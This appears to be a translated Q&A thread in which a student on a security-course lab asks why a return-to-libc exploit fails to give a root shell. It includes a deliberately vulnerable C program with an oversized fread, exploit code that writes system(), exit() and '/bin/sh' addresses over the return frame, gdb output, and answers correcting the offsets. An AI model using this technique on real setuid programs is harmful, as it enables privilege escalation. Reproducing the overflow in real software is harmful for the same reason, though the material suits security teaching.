返回libc攻击

时间:2015-02-16 04:09:03

标签: c linux buffer-overflow

这是一个两部分问题:

a)我正在使用Return-into-libc攻击,并且由于某种原因没有获得root shell。我应该采取一个易受攻击的程序:retlib.c。

/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 128, badfile);
        return 1;
}
int main(int argc, char **argv)
{
        FILE *badfile;
        badfile = fopen("badfile", "r");
        bof(badfile);
        printf("Returned Properly\n");
        fclose(badfile);
        return 1;
}

我正在使用我的漏洞利用:exploit_1.c

/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");

    *(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
    *(long *) &buf[16] = 0x40076430; // system()
    *(long *) &buf[20] = 0x40069fb0; // exit()

fwrite(buf, 40, 1, badfile);
fclose(badfile);
}

我找到了系统的地址并使用gdb退出:

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1 

Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb) 

我使用myshell.c程序找到了/ bin / sh地址:

//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void main (){
        char* shell = getenv("MYSHELL");
        if(shell)
        printf("%x\n", (unsigned int) shell);
}

比使用命令:

[02/15/2015 21:46] cs4393@ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393@ubuntu:~/project2$ ./myshell
bffffe86

我觉得我已经做好了一切,但我不断得到一个&#34; Segmentation fault(core dumped)&#34;。我使用no -fstack-protector,chmod 4755和ASLR关闭。对错误有什么看法?

b)我也在使用retlib-env.c:

/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
        char buffer[12];
        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 128, badfile);
        return 1;
}
int main(int argc, char **argv)
{
        FILE *badfile;
        char* shell=getenv("MYSHELL");
        if(shell)
                printf("%x\n", (unsigned int)shell);
        badfile = fopen("badfile", "r");
        //system(shell);
        bof(badfile);
        printf("Returned Properly\n");
        fclose(badfile);
        return 1;
}

在我看来,这与a部分类似,但是&#34;在这个例子中,易受攻击的程序retlib-env.c将引用MYSHELL环境。&#34;我不知道我需要添加到我的漏洞利用程序中以使其工作。任何正确方向的提示或推动都会非常有帮助。我有MYSHELL,但我不确定我是如何引用它来利用retlib-env.c的。难道它与a部分非常相似吗?

3 个答案:

答案 0 :(得分:0)

在每次程序调用时,函数system(),exit()等的地址可能都会发生变化。您不能依赖于加载程序,对这些地址进行加权处理,关闭调试会话并再次运行程序,因为第二次可能已在完全不同的起始地址加载了perogram。

答案 1 :(得分:0)

$gdb -q retlib

您需要查找retlib的系统和退出地址。 Exploit仅准备一个漏洞利用文件。 Retlib读取此文件直到缓冲区溢出。据我所知,系统地址段应该在缓冲区之后开始12,这意味着它将是buf [24]。

答案 2 :(得分:0)

程序名称的长度将影响堆栈中环境变量的地址。要获取字符串/bin/sh的正确地址,您应使搜索/bin/sh的程序长度(即myshell)等于最终攻击程序的长度(即{{1} }。

此外,您需要找出返回帧地址,该地址应为4加上retlibebp&buffer之间的距离,该距离应为20 + 4 = 24,而不是代码中的16。您可以通过bof在用标志gdb编译的程序上进行验证。